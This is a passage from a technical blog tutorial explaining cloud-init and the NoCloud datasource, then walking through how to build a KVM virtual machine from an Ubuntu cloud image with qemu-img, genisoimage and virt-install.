&lt;li&gt;Generating and setting up SSH private keys&lt;/li&gt;
&lt;li&gt;Setting up ephemeral mount points&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;As we can see, this is exactly what we want. Now let’s understand how cloud-init works.&lt;/p&gt;
&lt;p&gt;Cloud-init is a program that runs after every boot. What it does is the following.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fetch two configuration files, &lt;code&gt;user-data&lt;/code&gt; and &lt;code&gt;meta-data&lt;/code&gt;, from some pre-defined locations called &lt;a href=&quot;https://cloudinit.readthedocs.io/en/latest/topics/datasources.html&quot;&gt;datasources&lt;/a&gt;. The most commonly datasources are the following&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Hosting the files on an HTTP endpoint and hardcoding the endpoint URL into the cloud image. Most public cloud providers use some variation of this method.&lt;/li&gt;
&lt;li&gt;Attaching an ISO disk named &lt;code&gt;cidata&lt;/code&gt; to the VM, containing the two config files. Cloud-init will look for a disk with the volume label &lt;code&gt;cidata&lt;/code&gt;, and if it finds one, it’ll fetch the files from that disk. This datasource is called &lt;a href=&quot;https://cloudinit.readthedocs.io/en/latest/topics/datasources/nocloud.html&quot;&gt;NoCloud&lt;/a&gt;, and we’re going to go with this one as it’s a lot simpler and suitable for a smaller-scale homelab.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Set the configuration options according to the two aforementioned configuration files.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As we discussed, cloud-init needs two config files.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;meta-data&lt;/code&gt; contains some basic metadata about the system, such as hostname and instance id.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user-data&lt;/code&gt; is much more flexible; it can be anything ranging from a YAML config file to a bash script. You can find all the valid &lt;code&gt;user-data&lt;/code&gt; formats &lt;a href=&quot;https://cloudinit.readthedocs.io/en/latest/topics/format.html&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have a basic idea of cloud-init and how it works, let’s get our hands dirty and create a VM using cloud image and cloud-init.&lt;/p&gt;
&lt;h3 id=&quot;creating-a-vm-using-cloud-image-and-cloud-init&quot;&gt;Creating a VM Using Cloud Image and Cloud-Init&lt;/h3&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;First of all, we need to install the virtualization essentials: the complete Libvirt distribution with all relevant dependencies and utilities, and &lt;code&gt;virtinst&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt install libvirt-daemon-system virtinst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;libvirt-daemon-system&lt;/code&gt; package contains the Libvirt C libraries, the Libvirt daemon, CLI utilites to interact with the daemon, and QEMU-KVM as the default hypervisor. The &lt;code&gt;virtinst&lt;/code&gt; package contains additional helper programs such as &lt;code&gt;virt-inst&lt;/code&gt;, &lt;code&gt;virt-viewer&lt;/code&gt;, &lt;code&gt;genisoimage&lt;/code&gt;, etc. If you’re unfamiliar with what these are and how they interact, check out &lt;a href=&quot;https://sumit-ghosh.com/posts/virtualization-hypervisors-explaining-qemu-kvm-libvirt/&quot;&gt;my previous post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next, we need to download the cloud image we want. I’m going to go with the &lt;a href=&quot;http://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-amd64.img&quot;&gt;latest cloud image of Ubuntu&lt;/a&gt;. You can get all the Ubuntu cloud images &lt;a href=&quot;http://cloud-images.ubuntu.com/&quot;&gt;here&lt;/a&gt;. A quick tip: in the following command, just replacing &lt;code&gt;focal&lt;/code&gt; with the distribution name you want should also work.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ wget http://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-amd64.img&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;creating-a-disk-image&quot;&gt;Creating a Disk Image&lt;/h3&gt;
&lt;p&gt;Now that we have a cloud image—which is almost like a template we want to build our VM’s disk image from—the next would be creating the disk image itself. Before we do that, we need to understand some of the optimizations the QCOW image format has&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;QCOW uses a disk storage optimization strategy that delays allocation of storage until it is actually needed. This allows smaller file sizes than a raw disk image in cases when the image capacity is not totally used up. Let’s see this hands-on&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ qemu-img convert -f qcow2 -O raw focal-server-cloudimg-amd64.img focal-server-cloudimg-amd64.raw&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ls -lh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;total 1.8G&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;-rw-rw-r-- 1 libvirt-qemu kvm   520M Sep  7 18:58 focal-server-cloudimg-amd64.img&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;-rw-r--r-- 1 sumit        sumit 2.2G Sep 12 12:17 focal-server-cloudimg-amd64.raw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see above, &lt;code&gt;qemu-img&lt;/code&gt; is the program we’re using to create, modify, and inspect disk images. I already had the &lt;code&gt;focal-server-cloudimg-amd64.img&lt;/code&gt; image which is of the QCOW2 format, and I created a RAW copy of it. From the last &lt;code&gt;ls -lh&lt;/code&gt; command, we can clearly see how these two formats differ—the file size of the RAW image is 2.2 GB, while the QCOW2 image takes up only 520MB, despite both having the same contents and the same &lt;em&gt;virtual&lt;/em&gt; size. This is because the QCOW2 image only allocated the storage which is actually needed, and it will grow the image as more and more space is being used. Without using copy on write—as you can imagine—with every VM we create, we would have redundant copies of the original base image, and those would’ve eaten up our disk space.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;QCOW stands for &lt;em&gt;QEMU Copy On Write&lt;/em&gt;; as evident from the name, another key optimization it has is its ability to use a base image in a &lt;em&gt;copy on write&lt;/em&gt; mode. From &lt;a href=&quot;https://en.wikipedia.org/wiki/Qcow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The qcow format also allows storing changes made to a read-only base image on a separate qcow file by using &lt;a href=&quot;https://en.wikipedia.org/wiki/Copy-on-write&quot;&gt;copy on write&lt;/a&gt;. This new qcow file contains the path to the base image to be able to refer back to it when required. When a particular piece of data has to be read from this new image, the content is retrieved from it if it is new and was stored there; if it is not, the data is fetched from the base image.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We’ll be using this feature of QCOW, as it will save a lot of storage in case we create a lot of VMs. We’ll see how this works shortly.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we understand how QCOW works, let’s create a disk image for our VM.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ qemu-img create -b focal-server-cloudimg-amd64.img -f qcow2 -F qcow2 hal9000.img 10G&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Formatting &apos;hal9000.img&apos;, fmt=qcow2 size=10737418240 backing_file=focal-server-cloudimg-amd64.img backing_fmt=qcow2 cluster_size=65536 lazy_refcounts=off refcount_bits=16&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, we used the cloud image &lt;code&gt;focal-server-cloudimg-amd64.img&lt;/code&gt; as the base image for our new image &lt;code&gt;hal9000.img&lt;/code&gt;. At first, the new image will contain only a reference to the base image, nothing else. As long as the blocks in the new image are being &lt;em&gt;read&lt;/em&gt;, QCOW will fetch those blocks directly from the base image and serve them. Only when some block in the new image is &lt;em&gt;written&lt;/em&gt; to, it will &lt;em&gt;copy&lt;/em&gt; the block contents from the base image into itself and make the &lt;em&gt;writes&lt;/em&gt;// changes there. In this way, &lt;em&gt;copy on write&lt;/em&gt; saves only the modifications or &lt;em&gt;writes&lt;/em&gt; in the new image, keeping the image size small. We can verify this by checking their file sizes&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~/images/base&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ls -lh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;total 520M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;-rw-rw-r-- 1 libvirt-qemu kvm   520M Sep  7 18:58 focal-server-cloudimg-amd64.img&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;-rw-r--r-- 1 sumit        sumit 193K Sep 12 12:39 hal9000.img&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new image takes up only 193KB! This will keep growing as make writes to the image, but it’s still a huge storage optimization.&lt;/p&gt;
&lt;h3 id=&quot;creating-cloud-init-configuration-files&quot;&gt;Creating Cloud-Init Configuration Files&lt;/h3&gt;
&lt;p&gt;As we know, cloud-init uses two configuration files, &lt;code&gt;user-data&lt;/code&gt; and &lt;code&gt;meta-data&lt;/code&gt;. Below is the &lt;code&gt;meta-data&lt;/code&gt; we’ll be using&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;instance-id&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;hal9000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;local-hostname&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;hal9000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s a YAML file with a unique instance id and hostname.&lt;/p&gt;
&lt;p&gt;Next, we’re going to create a &lt;code&gt;user-data&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6A737D;--shiki-dark:#6A737D&quot;&gt;#cloud-config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;users&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;sumit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    ssh_authorized_keys&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDzMSSuEky2HWKy3/p01BXURLkYhDkJ+Wpd45kU7s0737LXx9zhRqWyX0pnUcGf1A5uKpy6JiaHNjRT/PBKMye0ej1CSurPZXOEyjSSK4MlW8NkRAHiLBuBAhetG3jANWKxcvsvsp172XdK8yP81B0w4qlKQz7J5GbALuwSwFEQu01tjf4aErEvV8xXxl2y1O8DMxjTiXT2WLTeoUDQldBm3m56ogtajnJz7USiZPePUZHcm6DMp9/2+ucef3/1AAtK0adQzwhnj6W+0eCTqdQz+DF9erqsMkd7QoRaQ0/ZK/rqljMwdbux6NySA1U5Zx2JaNUlClmfqxlkBm8TbY7 sumit@sumit-ghosh.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    sudo&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;ALL=(ALL) NOPASSWD:ALL&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    groups&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    shell&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/bin/bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;User-data is very versatile and supports &lt;a href=&quot;https://cloudinit.readthedocs.io/en/latest/topics/format.html&quot;&gt;many different formats&lt;/a&gt;; we’re using the cloud-config format, which is the most convenient. A cloud-config user-data is basically a YAML file that begins with &lt;code&gt;#cloud-config&lt;/code&gt;. The above user-data should be mostly self-explanatory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I’m creating a user with the username “sumit” using &lt;code&gt;name: sumit&lt;/code&gt;, you name the user whatever you want.&lt;/li&gt;
&lt;li&gt;A list of authorized SSH public keys can be supplied using the &lt;code&gt;ssh_authorized_keys&lt;/code&gt; array; I’m putting my SSH public key there, you should put yours.&lt;/li&gt;
&lt;li&gt;We’re giving the user password-less &lt;code&gt;sudo&lt;/code&gt; privileges using the &lt;code&gt;sudo: sudo: [&apos;ALL=(ALL) NOPASSWD:ALL&apos;]&lt;/code&gt; line.&lt;/li&gt;
&lt;li&gt;We’re adding the user to the &lt;code&gt;sudo&lt;/code&gt; group.&lt;/li&gt;
&lt;li&gt;The default shell of the user is set to &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, we need to create an ISO image with the volume label &lt;code&gt;cidata&lt;/code&gt; containing these two files; you should recall this is how the NoCloud data source works.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ genisoimage -output cidata.iso -V cidata -r -J user-data meta-data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;I: -input-charset not specified, using utf-8 (detected in locale settings)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Total translation table size: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Total rockridge attributes bytes: 331&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Total directory bytes: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Path table size(bytes): 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Max brk space used 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;183 extents written (0 MB)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above &lt;code&gt;genisoimage&lt;/code&gt; command should create a file named &lt;code&gt;cidata.iso&lt;/code&gt; containing the user-data and meta-data files we created earlier. Notice that we’re setting the volume label to &lt;code&gt;cidata&lt;/code&gt; using the &lt;code&gt;-V cidata&lt;/code&gt; argument.&lt;/p&gt;
&lt;h3 id=&quot;creating-the-vm&quot;&gt;Creating the VM&lt;/h3&gt;
&lt;p&gt;Just like &lt;a href=&quot;https://sumit-ghosh.com/posts/virtualization-hypervisors-explaining-qemu-kvm-libvirt/#creating-a-vm&quot;&gt;before&lt;/a&gt;, we’re gonna use &lt;code&gt;virt-install&lt;/code&gt; to create our VM.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virt-install --name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;hal9000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; --ram&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;2048&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; --vcpus&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; --import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --disk&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; path=hal9000.img,format=qcow2&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --disk&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; path=cidata.iso,device=cdrom&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --os-variant=ubuntu20.04&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --network&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; bridge=virbr0,model=virtio&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --graphics&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; vnc,listen=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0.0.0.0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --noautoconsole&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Starting install...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Domain creation completed.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most of the CLI parameters should be self-explanatory, although there are some that you should pay attention to&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The VM name is set to be “hal9000” using the &lt;code&gt;name&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The VM is allocated 2 GB of RAM using the &lt;code&gt;ram&lt;/code&gt; parameter and a single-core virtual CPU using the &lt;code&gt;vcpus&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;Using the &lt;code&gt;---import&lt;/code&gt; argument, we’re letting &lt;code&gt;virt-install&lt;/code&gt; know that we’re &lt;em&gt;importing&lt;/em&gt; an image which has the OS already installed within.&lt;/li&gt;
&lt;li&gt;We’re attaching both of the images we created using the &lt;code&gt;disk&lt;/code&gt; parameter, the QCOW image &lt;code&gt;hal9000.img&lt;/code&gt; to be used as the storage, and the ISO image &lt;code&gt;cidata.iso&lt;/code&gt; as a datasource for cloud-init.&lt;/li&gt;
&lt;li&gt;Mentioning the &lt;code&gt;os-variant&lt;/code&gt; helps it make some OS-specific optimizations.&lt;/li&gt;
&lt;li&gt;We’re mentioning a network interface using the &lt;code&gt;network&lt;/code&gt; parameter as we want our VM to have network connectivity. Using a bridge network interface is the simplest networking model we can have, and that’s what we’re going with.&lt;/li&gt;
&lt;li&gt;Using the &lt;code&gt;--graphics vnc,listen=0.0.0.0&lt;/code&gt; argument, we’re setting a virtual console in the guest, and exposing it as a VNC server in the host. We can connect to the VM console using this VNC server later on if we want.&lt;/li&gt;
&lt;li&gt;Finally, on using the &lt;code&gt;--noautoconsole&lt;/code&gt; argument, &lt;code&gt;virt-install&lt;/code&gt; doesn’t open a console to the guest VM after creation, it just exits. This is essential for automation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After creation, give it 10-20 seconds to boot up. Then get the newly created VM’s IP address using the following command.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virsh net-dhcp-leases default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; Expiry Time           MAC address         Protocol   IP address           Hostname   Client ID or DUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 2020-09-12 14:50:17   52:54:00:e5:0e:65   ipv4       192.168.122.103/24   hal9000    ff:56:50:4d:98:00:02:00:00:ab:11:db:1f:d2:8c:42:8a:75:70&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, in my case, the IP address allocated to the &lt;code&gt;hal9000&lt;/code&gt; VM is &lt;code&gt;192.168.122.103&lt;/code&gt;. Now I can simply SSH into the VM&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ssh sumit@192.168.122.103&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And I have access to a brand new VM, created under a minute! You can automate the whole process using a script, such as &lt;a href=&quot;https://github.com/SkullTech/scripts/blob/master/create-vm.yml&quot;&gt;this Ansible playbook&lt;/a&gt; I wrote.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Hopefully this post was helpful to you. If you any questions, feedback, or suggestion, please leave it in the comments down below. You can also reach me via email or on Twitter. Thanks for reading!&lt;/p&gt;
